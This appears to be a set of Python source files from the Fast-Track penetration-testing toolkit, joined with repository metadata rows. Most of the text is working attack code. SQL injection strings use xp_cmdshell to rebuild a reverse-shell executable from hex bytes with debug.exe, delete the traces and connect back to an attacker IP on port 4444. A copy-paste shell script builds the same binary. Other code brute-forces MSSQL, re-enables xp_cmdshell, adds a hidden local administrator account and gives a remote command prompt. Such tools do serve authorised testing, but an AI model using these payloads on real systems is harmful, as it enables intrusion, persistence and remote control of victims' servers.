the destiation thats # specified. Safe executable. # # Re-Enable XP_Cmdshell stored procedure just in case its disabled string1=(r"';exec master..xp_cmdshell 'echo n service.dll >1.txt';exec master..xp_cmdshell 'echo e 0100 >2.txt';exec master..xp_cmdshell 'echo 4d 5a 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 00 00 50 45 00 00 4c 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 df 42 00 00 10 00 00 00 00 10 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 50 00 00 00 02 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 >3.txt'--") string2=(r"';exec master..xp_cmdshell 'echo e 0180>4.txt'--") string3=(r"';exec master..xp_cmdshell 'echo 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 db 42 00 00 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >5.txt'--") string4=(r"';exec master..xp_cmdshell 'echo e 0200 >6.txt'--") string5=(r"';exec master..xp_cmdshell 'echo 00 00 00 00 00 00 00 00 4d 45 57 00 46 12 d2 c3 00 30 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 02 d2 75 db 8a 16 eb d4 00 10 00 00 00 40 00 00 ef 02 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 be 1c 40 40 00 8b de ad ad 50 ad 97 b2 80 a4 b6 80 ff 13 73 f9 33 c9 ff 13 73 16 33 c0 ff 13 73 21 b6 80 41 b0 10 ff 13 >7.txt'--") string6=(r"';exec master..xp_cmdshell 'echo e 0280 >8.txt'--") string7=(r"';exec master..xp_cmdshell 'echo 12 c0 73 fa 75 3e aa eb e0 e8 72 3e 00 00 02 f6 83 d9 01 75 0e ff 53 fc eb 26 ac d1 e8 74 2f 13 c9 eb 1a 91 48 c1 e0 08 ac ff 53 fc 3d 00 7d 00 00 73 0a 80 fc 05 73 06 83 f8 7f 77 02 41 41 95 8b c5 b6 00 56 8b f7 2b f0 f3 a4 5e eb 9b ad 85 c0 75 90 ad 96 ad 97 56 ac 3c 00 75 fb ff 53 f0 95 56 ad 0f c8 40 59 74 ec 79 07 ac 3c 00 75 fb 91 40 50 55 ff 53 f4 ab 75 e7 c3 00 00 00 00 00 >9.txt'--") string8=(r"';exec master..xp_cmdshell 'echo e 0300 >10.txt'--") string9=(r"';exec master..xp_cmdshell 'echo 33 c9 41 ff 13 13 c9 ff 13 72 f8 c3 b0 42 00 00 bd 42 00 00 00 00 00 00 00 40 40 00 30 01 40 00 00 10 40 00 00 10 40 00 68 1c 06 32 40 07 6a 01 e8 0e 7c 38 55 0c e8 42 02 c8 15 38 9e 6a 7e 38 ea 53 0c 7a 50 2c 16 74 41 30 fd 01 bf 55 b2 b1 33 6a 91 02 06 b2 7c 55 9a 27 a3 78 83 66 c7 05 64 7b 4f a6 38 67 bc 5d 50 66 94 3d 39 66 a3 68 7e 64 66 7e 21 7d 8b 73 0c d9 0a 6a 68 94 2d a1 >11.txt'--") string10=(r"';exec master..xp_cmdshell 'echo e 0380 >12.txt'--") string11=(r"';exec master..xp_cmdshell 'echo 3a 7a 6f 48 15 ea 4c 05 11 50 64 90 10 4d 44 55 91 14 3c 40 78 6a 28 10 68 5d 28 ff 35 30 74 e8 a4 9e 51 54 55 a1 55 8d bf 6e 0e 0a 08 90 22 0b e1 51 14 e8 1f 81 4b c3 ff 25 24 20 bb 6f 2a 1c 06 43 18 21 14 bd c3 22 08 71 cc 01 55 8b ec 81 c4 7c fe ff 88 56 57 e8 60 ac dd 89 45 fc 33 1d c9 8b 75 7e 38 3c 1d 74 07 1e 22 40 f7 41 eb f4 51 d1 72 e9 00 e1 58 3b c1 74 0b 5f 5e 30 b8 03 >13.txt'--") string12=(r"';exec master..xp_cmdshell 'echo e 0400 >14.txt'--") string13=(r"';exec master..xp_cmdshell 'echo b9 c9 c2 08 e1 86 49 8d bd 3c 70 e5 43 2a 09 cf 2f e0 02 b0 20 aa eb 73 f2 28 8d 85 15 39 8b f0 36 f8 33 2a 33 eb 1b 8b 03 66 32 07 ef 22 65 20 4d fe 22 11 e1 28 2d ed 94 08 83 b9 dc b7 30 4b 74 fb 3b 3a 4d 08 a8 15 59 65 1d 67 0a 4c 13 41 1d 0f 14 eb e6 aa 0d 36 07 19 87 38 f4 b0 7f c0 55 73 11 8b 7d 0c c6 17 b8 02 7f 82 a2 13 9d 68 b0 a0 58 34 33 0d 46 0d e6 d1 f7 e1 fe 58 a3 ee >15.txt'--") string14=(r"';exec master..xp_cmdshell 'echo e 0480 >16.txt';exec master..xp_cmdshell 'echo e7 44 bb 1f 16 a9 ce 11 04 de 55 01 3c d4 14 d4 0e 1b 33 c0 4e ec 87 0b 70 d2 8a 06 46 3d 3c 02 b3 12 0e f7 df 90 eb 0b 2c 30 19 8d 0c 89 06 48 83 2d 0a c0 75 f1 e8 04 11 33 51 c2 38 e2 30 83 c4 07 f4 6a f5 e8 69 09 19 49 ff bd 82 aa 20 0b d0 2a 93 75 37 f8 50 22 9d 29 86 06 fc e8 4d 2f 68 8b 24 38 e6 53 1a 0f 08 8d 50 03 21 18 83 c0 04 e3 f9 ff fe 80 02 f7 d3 23 cb 81 e1 44 80 74 >17.txt'--") string15=(r"';exec master..xp_cmdshell 'echo e7 44 bb 1f 16 a9 ce 11 04 de 55 01 3c d4 14 d4 0e 1b 33 c0 4e ec 87 0b 70 d2 8a 06 46 3d 3c 02 b3 12 0e f7 df 90 eb 0b 2c 30 19 8d 0c 89 06 48 83 2d 0a c0 75 f1 e8 04 11 33 51 c2 38 e2 30 83 c4 07 f4 6a f5 e8 69 09 19 49 ff bd 82 aa 20 0b d0 2a 93 75 37 f8 50 22 9d 29 86 06 fc e8 4d 2f 68 8b 24 38 e6 53 1a 0f 08 8d 50 03 21 18 83 c0 04 e3 f9 ff fe 80 02 f7 d3 23 cb 81 e1 44 80 74 >17.txt'--") string16=(r"';exec master..xp_cmdshell 'echo e 0500 >18.txt'--") string17=(r"';exec master..xp_cmdshell 'echo 7c e9 6c c1 0c 60 75 77 06 f4 10 c0 40 02 d0 e1 1b c2 51 5b 3a 47 c4 49 19 ca 0c 57 06 08 30 00 00 30 40 00 63 30 6d 64 00 66 3f 40 00 14 38 20 40 03 77 73 32 5f 33 98 2e 64 6c e3 c0 80 67 07 65 74 68 6f 73 40 62 79 6e 61 7b 6d cf 1e 63 9e 3c f7 eb ff 0e 12 57 53 41 5d cf 61 72 46 75 70 18 79 68 ca 2c 73 13 4f 26 63 6b 62 ef c1 ff b8 03 6c 95 1a 72 ca 5e 6c 4c c7 57 d3 69 74 f3 46 >19.txt'--") string18=(r"';exec master..xp_cmdshell 'echo e 0580 >20.txt'--") string19=(r"';exec master..xp_cmdshell 'echo a7 bc 91 47 c3 4c 43 6f 6d 88 61 6e 64 36 4c 69 44 62 7e 80 76 72 fb 9d 3a 50 b7 82 e7 73 15 41 58 21 c0 64 48 d0 43 2f 60 00 00 00 00 00 66 3f 40 00 4c 6f 61 64 4c 69 62 72 61 72 79 41 00 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 40 00 00 e9 74 be ff ff 00 00 00 02 00 00 00 0c 40 00 00 >21.txt'--") # Convert the crazy text files into one file string20=(r"';exec master..xp_cmdshell 'echo r cx >22.txt';exec master..xp_cmdshell 'echo 04ef >23.txt';exec master..xp_cmdshell 'echo w >24.txt';exec master..xp_cmdshell 'echo q >25.txt';exec master..xp_cmdshell 'type 1.txt > reverse.txt';exec master..xp_cmdshell 'type 2.txt >> reverse.txt';exec master..xp_cmdshell 'type 3.txt >> reverse.txt';exec master..xp_cmdshell 'type 4.txt >> reverse.txt';exec master..xp_cmdshell 'type 5.txt >> reverse.txt';exec master..xp_cmdshell 'type 6.txt >> reverse.txt';exec master..xp_cmdshell 'type 7.txt >> reverse.txt';exec master..xp_cmdshell 'type 8.txt >> reverse.txt';exec master..xp_cmdshell 'type 9.txt >> reverse.txt';exec master..xp_cmdshell 'type 10.txt >> reverse.txt';exec master..xp_cmdshell 'type 11.txt >> reverse.txt';exec master..xp_cmdshell 'type 12.txt >> reverse.txt';exec master..xp_cmdshell 'type 13.txt >> reverse.txt';exec master..xp_cmdshell 'type 14.txt >> reverse.txt';exec master..xp_cmdshell 'type 15.txt >> reverse.txt';exec master..xp_cmdshell 'type 16.txt >> reverse.txt';exec master..xp_cmdshell 'type 17.txt >> reverse.txt';exec master..xp_cmdshell 'type 18.txt >> reverse.txt';exec master..xp_cmdshell 'type 19.txt >> reverse.txt';exec master..xp_cmdshell 'type 20.txt >> reverse.txt';exec master..xp_cmdshell 'type 21.txt >> reverse.txt';exec master..xp_cmdshell 'type 22.txt >> reverse.txt';exec master..xp_cmdshell 'type 23.txt >> reverse.txt';exec master..xp_cmdshell 'type 24.txt >> reverse.txt';exec master..xp_cmdshell 'type 25.txt >> reverse.txt'--") # Convert to an executable string21=(r"';exec master..xp_cmdshell 'debug<reverse.txt';exec master..xp_cmdshell 'copy service.dll reverse.exe'--") # Cleanup string22=(r"';exec master ..xp_cmdshell 'del 1.txt';exec master ..xp_cmdshell 'del 2.txt';exec master ..xp_cmdshell 'del 3.txt';exec master ..xp_cmdshell 'del 4.txt';exec master ..xp_cmdshell 'del 5.txt';exec master ..xp_cmdshell 'del 6.txt';exec master ..xp_cmdshell 'del 7.txt';exec master ..xp_cmdshell 'del 8.txt';exec master ..xp_cmdshell 'del 9.txt';exec master ..xp_cmdshell 'del 10.txt';exec master ..xp_cmdshell 'del 11.txt';exec master ..xp_cmdshell 'del 12.txt';exec master ..xp_cmdshell 'del 13.txt';exec master ..xp_cmdshell 'del 14.txt'--") string23=(r"';exec master ..xp_cmdshell 'del 15.txt';exec master ..xp_cmdshell 'del 16.txt';exec master ..xp_cmdshell 'del 17.txt';exec master ..xp_cmdshell 'del 18.txt';exec master ..xp_cmdshell 'del 19.txt';exec master ..xp_cmdshell 'del 20.txt';exec master ..xp_cmdshell 'del 21.txt';exec master ..xp_cmdshell 'del 22.txt';exec master ..xp_cmdshell 'del 23.txt';exec master ..xp_cmdshell 'del 24.txt';exec master ..xp_cmdshell 'del 25.txt';exec master ..xp_cmdshell 'del reverse.txt';exec master ..xp_cmdshell 'del service.dll'--") # Actually execute the reverse shell string24=(r"';exec master..xp_cmdshell 'reverse.exe %s 4444'--" % (ipaddr)) sqlreplace1 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string1)) sqlreplace2 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string2)) sqlreplace3 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string3)) sqlreplace4 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string4)) sqlreplace5 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string5)) sqlreplace6 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string6)) sqlreplace7 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string7)) sqlreplace8 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string8)) sqlreplace9 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string9)) sqlreplace10 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string10)) sqlreplace11 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string11)) sqlreplace12 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string12)) sqlreplace13 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string13)) sqlreplace14 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string14)) sqlreplace15 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string15)) sqlreplace16 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string16)) sqlreplace17 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string17)) sqlreplace18 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string18)) sqlreplace19 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string19)) sqlreplace20 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string20)) sqlreplace21 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string21)) sqlreplace22 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string22)) sqlreplace23 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string23)) sqlreplace24 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string24)) print "\n" print "Generating strings..." print "Copy and paste each string into the URL or tools like BURP" time.sleep(2) print sqlreplace1 print "String 1 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace2 print "String 2 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace3 print "String 3 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace4 print "String 4 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace5 print "String 5 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace6 print "String 6 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace7 print "String 7 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace8 print "String 8 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace9 print "String 9 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace10 print "String 10 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace11 print "String 11 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace12 print "String 12 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace13 print "String 13 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace14 print "String 14 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace15 print "String 15 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace16 print "String 16 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace17 print "String 17 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace18 print "String 18 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace19 print "String 19 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace20 print "String 20 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace21 print "String 21 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace22 print "String 22 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace23 print "String 23 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace24 print "String 24 of 24 completed" pause=raw_input("Done. Press enter to return to the main menu...") # Return to previous menu if sqlmenu == '6': print """\n\n ***** Returning to Previous Menu *****\n""" # END Manual SQL Injection Binary Payload Generator # Start Binary to Hex Payload Generator if menu == '6' : choice1=raw_input(""" This generates the needed information for copy and pasting into a windows shell you already have and creating an executable. This uses debug to create an executable so you don't need to remotely transfer files off the system... Do you want to use your own binary or use reverse.exe? Reverse.exe is used from IllWill (special thanks) and is a simple SMALL reverse shell. Simply type: reverse.exe <ip> <port> to get a reverse shell. 1. Use reverse.exe and generate 2. Use My own Enter choice: """) if choice1 == '1': try: binary1=open("reversebinarygen.txt", "w") binary1.write("""******* COPY AND PASTE BELOW INTO A WINDOWS SHELL *******\n\n\necho off && echo n 1.dll >reverse.hex\necho e 0100 >>reverse.hex && echo 4d 5a 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 00 00 50 45 00 00 4c 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 df 42 00 00 10 00 00 00 00 10 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 50 00 00 00 02 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 >>reverse.hex\necho e 0180 >>reverse.hex && echo 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 db 42 00 00 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>reverse.hex\necho e 0200 >>reverse.hex && echo 00 00 00 00 00 00 00 00 4d 45 57 00 46 12 d2 c3 00 30 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 02 d2 75 db 8a 16 eb d4 00 10 00 00 00 40 00 00 ef 02 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 be 1c 40 40 00 8b de ad ad 50 ad 97 b2 80 a4 b6 80 ff 13 73 f9 33 c9 ff 13 73 16 33 c0 ff 13 73 21 b6 80 41 b0 10 ff 13 >>reverse.hex\necho e 0280 >>reverse.hex && echo 12 c0 73 fa 75 3e aa eb e0 e8 72 3e 00 00 02 f6 83 d9 01 75 0e ff 53 fc eb 26 ac d1 e8 74 2f 13 c9 eb 1a 91 48 c1 e0 08 ac ff 53 fc 3d 00 7d 00 00 73 0a 80 fc 05 73 06 83 f8 7f 77 02 41 41 95 8b c5 b6 00 56 8b f7 2b f0 f3 a4 5e eb 9b ad 85 c0 75 90 ad 96 ad 97 56 ac 3c 00 75 fb ff 53 f0 95 56 ad 0f c8 40 59 74 ec 79 07 ac 3c 00 75 fb 91 40 50 55 ff 53 f4 ab 75 e7 c3 00 00 00 00 00 >>reverse.hex\necho e 0300 >>reverse.hex && echo 33 c9 41 ff 13 13 c9 ff 13 72 f8 c3 b0 42 00 00 bd 42 00 00 00 00 00 00 00 40 40 00 30 01 40 00 00 10 40 00 00 10 40 00 68 1c 06 32 40 07 6a 01 e8 0e 7c 38 55 0c e8 42 02 c8 15 38 9e 6a 7e 38 ea 53 0c 7a 50 2c 16 74 41 30 fd 01 bf 55 b2 b1 33 6a 91 02 06 b2 7c 55 9a 27 a3 78 83 66 c7 05 64 7b 4f a6 38 67 bc 5d 50 66 94 3d 39 66 a3 68 7e 64 66 7e 21 7d 8b 73 0c d9 0a 6a 68 94 2d a1 >>reverse.hex\necho e 0380 >>reverse.hex && echo 3a 7a 6f 48 15 ea 4c 05 11 50 64 90 10 4d 44 55 91 14 3c 40 78 6a 28 10 68 5d 28 ff 35 30 74 e8 a4 9e 51 54 55 a1 55 8d bf 6e 0e 0a 08 90 22 0b e1 51 14 e8 1f 81 4b c3 ff 25 24 20 bb 6f 2a 1c 06 43 18 21 14 bd c3 22 08 71 cc 01 55 8b ec 81 c4 7c fe ff 88 56 57 e8 60 ac dd 89 45 fc 33 1d c9 8b 75 7e 38 3c 1d 74 07 1e 22 40 f7 41 eb f4 51 d1 72 e9 00 e1 58 3b c1 74 0b 5f 5e 30 b8 03 >>reverse.hex\necho e 0400 >>reverse.hex && echo b9 c9 c2 08 e1 86 49 8d bd 3c 70 e5 43 2a 09 cf 2f e0 02 b0 20 aa eb 73 f2 28 8d 85 15 39 8b f0 36 f8 33 2a 33 eb 1b 8b 03 66 32 07 ef 22 65 20 4d fe 22 11 e1 28 2d ed 94 08 83 b9 dc b7 30 4b 74 fb 3b 3a 4d 08 a8 15 59 65 1d 67 0a 4c 13 41 1d 0f 14 eb e6 aa 0d 36 07 19 87 38 f4 b0 7f c0 55 73 11 8b 7d 0c c6 17 b8 02 7f 82 a2 13 9d 68 b0 a0 58 34 33 0d 46 0d e6 d1 f7 e1 fe 58 a3 ee >>reverse.hex\necho e 0480 >>reverse.hex && echo e7 44 bb 1f 16 a9 ce 11 04 de 55 01 3c d4 14 d4 0e 1b 33 c0 4e ec 87 0b 70 d2 8a 06 46 3d 3c 02 b3 12 0e f7 df 90 eb 0b 2c 30 19 8d 0c 89 06 48 83 2d 0a c0 75 f1 e8 04 11 33 51 c2 38 e2 30 83 c4 07 f4 6a f5 e8 69 09 19 49 ff bd 82 aa 20 0b d0 2a 93 75 37 f8 50 22 9d 29 86 06 fc e8 4d 2f 68 8b 24 38 e6 53 1a 0f 08 8d 50 03 21 18 83 c0 04 e3 f9 ff fe 80 02 f7 d3 23 cb 81 e1 44 80 74 >>reverse.hex\necho e 0500 >>reverse.hex && echo 7c e9 6c c1 0c 60 75 77 06 f4 10 c0 40 02 d0 e1 1b c2 51 5b 3a 47 c4 49 19 ca 0c 57 06 08 30 00 00 30 40 00 63 30 6d 64 00 66 3f 40 00 14 38 20 40 03 77 73 32 5f 33 98 2e 64 6c e3 c0 80 67 07 65 74 68 6f 73 40 62 79 6e 61 7b 6d cf 1e 63 9e 3c f7 eb ff 0e 12 57 53 41 5d cf 61 72 46 75 70 18 79 68 ca 2c 73 13 4f 26 63 6b 62 ef c1 ff b8 03 6c 95 1a 72 ca 5e 6c 4c c7 57 d3 69 74 f3 46 >>reverse.hex""") binary1.close() binary2=open("reversebinarygen.txt", "a") binary2.write("""\necho e 0580 >>reverse.hex && echo a7 bc 91 47 c3 4c 43 6f 6d 88 61 6e 64 36 4c 69 44 62 7e 80 76 72 fb 9d 3a 50 b7 82 e7 73 15 41 58 21 c0 64 48 d0 43 2f 60 00 00 00 00 00 66 3f 40 00 4c 6f 61 64 4c 69 62 72 61 72 79 41 00 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 40 00 00 e9 74 be ff ff 00 00 00 02 00 00 00 0c 40 00 00 >>reverse.hex\necho r cx >>reverse.hex && echo 04ef >>reverse.hex && echo w >>reverse.hex && echo q >>reverse.hex && debug<reverse.hex && copy 1.dll reverse.exe && del 1.dll && del reverse.hex\n\n\n******* COPY AND PASTE ABOVE TO A WINDOWS SHELL *******\n******* TO USE REVERSE USE reverse.exe <ip> <port> *******""") binary2.close() print 'Opening Kate...' time.sleep(5) kateopen=os.system("kwrite reversebinarygen.txt &") print '\n***** COPY AND PASTE THE TEXT FILE OUTPUT *****\n' print '***** To use reverse.exe use reverse.exe <ip> <port> *****\n' pause=raw_input("Press enter to return to main menu") except Exception: print 'Something went wrong...Returning to main menu.' if choice1 == '2' : import sys definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(binarypayloadgen) except Exception: pass import binarypayloadgen # Start mass client attack if menu == '7' : import sys definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/clientattack/" % (definepath)) try: reload(massclient) except Exception: pass import massclient # Return to previous menu if menu == '8' : print """\n\n ***** Returning to Previous Menu *****\n""" break
34,858
Python
.py
416
67.713942
4,046
0.590632
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,313
internalhacking.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/internalhacking.py
#!/usr/bin/env python import os,time try: import psyco psyco.full() except ImportError: pass while 1==1: intmenu=raw_input("""\nInternal Pentesting Menu: 1. Microsoft SQL Bruter 2. Port Scanning 3. Go Back a previous menu Enter a number: """) # Option 1 SQL Hackin if intmenu == '1': try: import _mssql sqlportip=raw_input(""" Enter the IP Address and Port Number to Attack. Options: (a)ttempt SQL Ping and Auto Quick Brute Force (m)ass scan and dictionary brute (s)ingle Target (Attack a Single Target with big dictionary) (f)ind SQL Ports (SQL Ping) (i) want a command prompt and know which system is vulnerable (v)ulnerable system, I want to add a local admin on the box... (e)nable xp_cmdshell if its disabled (sql2k and sql2k5) Enter Option: """) #Start enable xp cmdshell if sqlportip == 'e' : vulner1=raw_input("Enter the IP address of vulnerable server: ") vulner2=raw_input("Enter the username of the vulnerable server: ") vulner3=raw_input("Enter the password of the vulnerable server, hit enter for blank: ") print "" print 'Attempting to connect with the credentials....' time.sleep(1) try: vulner4= _mssql.connect('%s:1433' % (vuln1), '%s' % (vuln2), '%s' % (vuln3)) print 'Connected! Turning on XP_Cmdshell' time.sleep(1) vulner4.select_db('master') query0='''sp_addextendedproc "xp_cmdshell", "C:\\Program Files\\Microsoft SQL Server\\MSSQL\Binn\\xplog70.dll"''' query1='''sp_configure "show advanced options", 1 ;RECONFIGURE''' query2='''sp_configure "xp_cmdshell", 1 ;RECONFIGURE--''' try: quer0=vulner4.query(query0) print 'Enabling...' except Exception: print "" try: quer1=vulner4.query(query1) print 'Enabling...' except Exception: print "" try: quer2=vulner4.query2(query2) print 'Enabling...' except Exception: print "" print "Alright...try the xp_cmdshell now..." time.sleep(2) except Exception: print "Sorry can't enable xp_cmdshell, are you running under sysadmin rights?" # end enable xp cmdshell # start vulnerable servere if sqlportip == 'v' : vulner1=raw_input("Enter the IP address of vulnerable server: ") vulner2=raw_input("Enter the username of the vulnerable server: ") vulner3=raw_input("Enter the password of the vulnerable server, hit enter for blank: ") if vulner3=='': vulner3== '' print 'Attempting to connect with the credentials....' try: vulner4= _mssql.connect('%s:1433' % (vuln1), '%s' % (vuln2), '%s' % (vuln3)) print 'Connected!.... Adding user accounts..lets hope its running under SA rights...' vulner4.select_db('master') query="xp_cmdshell 'net user user12 P@55w0rd! /ADD'" query2="xp_cmdshell 'net localgroup administrators user12 /ADD'" quer=vulner4.query(query) if quer: print "insert table: %d" % quer print vulner4.fetch_array() return2=vulner4.query(query2) if return2: print "insert table: %d" % return2 print vulner4.fetch_array() print """ Nice...added a local user "user12" with password "P@55w0rd!" """ except Exception : print 'Something went wrong...sorry, try again?' #end vulnerable server if sqlportip == 'f' : scanfirst1=raw_input("Enter the IP Range to scan for SQL Ports: ") scan01=os.system("nmap -sT -v -P0 -T Insane -p1433 %s > SqlScan.txt" % (scanfirst1)) print """ """ print """ Scanning... please be patient ....\n""" scanres=os.popen("grep Discovered* SqlScan.txt").read() print scanres if sqlportip == 's' : import sys definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(sqlbruteword) except Exception: pass import sqlbruteword #Start SQL Command prompt if sqlportip == 'i' : while 1 == 1: try : sqlportip=raw_input("Enter IP of SQL Server: ") if sqlportip == 'quit' : break username=raw_input("Enter the Username, hit enter for sa: ") if username == '' : username == 'sa' password=raw_input("Enter password for SQL server, hit enter for blank: ") if password == '' : password == '' mssql = _mssql.connect('%s:1433' % (sqlportip),'%s' % (username),'%s' % (password)) mssql.select_db('master') while 1 == 1 : commandprompt=raw_input("Enter your command, type control-c to exit: ") if commandprompt == 'quit' : break query3="xp_cmdshell '%s'" % commandprompt printquery=mssql.query(query3) if printquery: print mssql.fetch_array() except Exception: print """Login failed...try again. """ # Start Mass Scan and Mass Brute if sqlportip == 'm' : import sys definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(sqlbruteword) except Exception: pass import sqlbruteword # End Mass Scan and Mass Brute # Start Quick Brute if sqlportip == 'a' : import sys definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(sqlbrutequick) except Exception: pass import sqlbrutequick #End Option SQL Range Brute Force # Error handling except Exception,e : print "\nSomething went wrong, printing error: ",e time.sleep(2) # End Option 1 # Option 2 Port Scanning if intmenu == '2': portmenu2=raw_input("""What type of scan: 1. Stealth SYN 2. TCP Connect Choose a number: """) # Choose 1 Syn Scan if portmenu2 == '1': synip=raw_input(""" Example usage: 192.168.1.1-255 Enter the IP: """) print "Scanning be patient..." syn=os.system("nmap -sS -A -v -P0 %s > portscan.txt" % (synip)) print "*** Results will be printed in under portscan.txt ***" syn3=os.system("kwrite portscan.txt &") # Choose 2 TCP Scan if portmenu2 == '2': tcpip=raw_input(""" Example usage: 192.168.1.1-255 Enter the IP: """) print "Scanning be patient...." tcp=os.system("nmap -sT -A -v -P0 %s > portscan.txt" % (tcpip)) print "*** Results will be printed under portscan.txt ***" tcp3=os.system("kwrite portscan.txt &" % (tcpip)) # End Port Scan # Option 4 Previous Menu if intmenu == '3': print """\n\n ****** Returning to previous menu ******\n\n""" break
8,634
Python
.py
184
29.842391
133
0.483639
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,314
updateftonlymenu.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/updateftonlymenu.py
#!/usr/bin/env python import os,sys definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include try: import psyco psyco.full() except ImportError: pass while 1 == 1 : include.print_banner() menuz=raw_input(''' Fast-Track Update Menu (BackTrack): 1. Update Fast-Track (q)uit Enter number: ''') if menuz == '1': try: reload(updateft) except Exception: pass import updateft if menuz == 'q': break # End Updates Menu
527
Python
.py
25
16.6
47
0.644172
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,315
mssqlattacks.pyc
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/mssqlattacks.pyc
